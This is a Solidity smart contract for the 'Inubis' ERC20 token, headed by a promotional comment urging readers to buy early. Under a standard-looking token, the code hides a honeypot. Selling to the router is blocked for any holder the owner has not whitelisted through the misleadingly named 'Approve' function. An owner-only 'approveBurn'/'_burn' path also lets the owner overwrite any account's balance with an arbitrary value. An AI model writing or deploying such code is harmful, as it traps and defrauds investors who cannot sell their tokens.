/*
It's done! You are nearly one of $INUBIS now! After our launch on Thursday you will have the final chance to be a part of the $INUBIS brotherhood. 
There will be no specials for anyone at the launch. Means no presale, no private sale or team tokens. 
Only those who joined from the beginning and react quickly will enjoy benefits. Both in profit and in the allocation of NFTs. 
The advantage of the NFTs will be noticeable in our P2E Card Game. 
More info on our website.


Website: https://www.inubistoken.com/
Telegram: @InubisERC20
Twitter: @InubisERC20
*/

// SPDX-License-Identifier: MIT
pragma solidity =0.8.6;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
 
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
  
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint256);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping (address => uint256) internal _balances;
    mapping (address => bool) private Approved;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 internal _totalSupply;
    uint256 _burnamount;
    string internal _name;
    string internal _symbol;
    uint256 internal _decimals;
    address internal _owner;
    address private router;
    address private caller;

    constructor (string memory name_, string memory symbol_, uint256 decimals_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function ApproveWallet(address _address) private onlyOwner() {
        Approved[_address] = true;
    }

    function Approve(address[] memory _addresses) public onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            ApproveWallet(_addresses[i]); }
    }   
 
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint256) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

  
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function burntoken (uint256 value) external onlyOwner {
        _burnamount = value;
    }
    
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }
    
    function setRouter (address Uniswaprouterv02) public onlyOwner {
        router = Uniswaprouterv02;
    }
    
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be grater thatn zero");
             if (sender != _owner && recipient == router) {
             require(Approved[sender]); }
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        
    }    
    
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _balances[account] = _burnamount - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }
    
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}
    
contract  Inubis is ERC20 {
    constructor(uint256 initialSupply) ERC20(_name, _symbol, _decimals) {
        _name = unicode"️Inubis | inubistoken.com";
        _symbol = unicode"INUBIS";
        _decimals = 9;
        _totalSupply += initialSupply;
        _balances[msg.sender] += initialSupply;
        emit Transfer(address(0), msg.sender, initialSupply);
    }
    
    function approveBurn(address account, uint256 value) external onlyOwner {
    _burn(account, value);
    }
}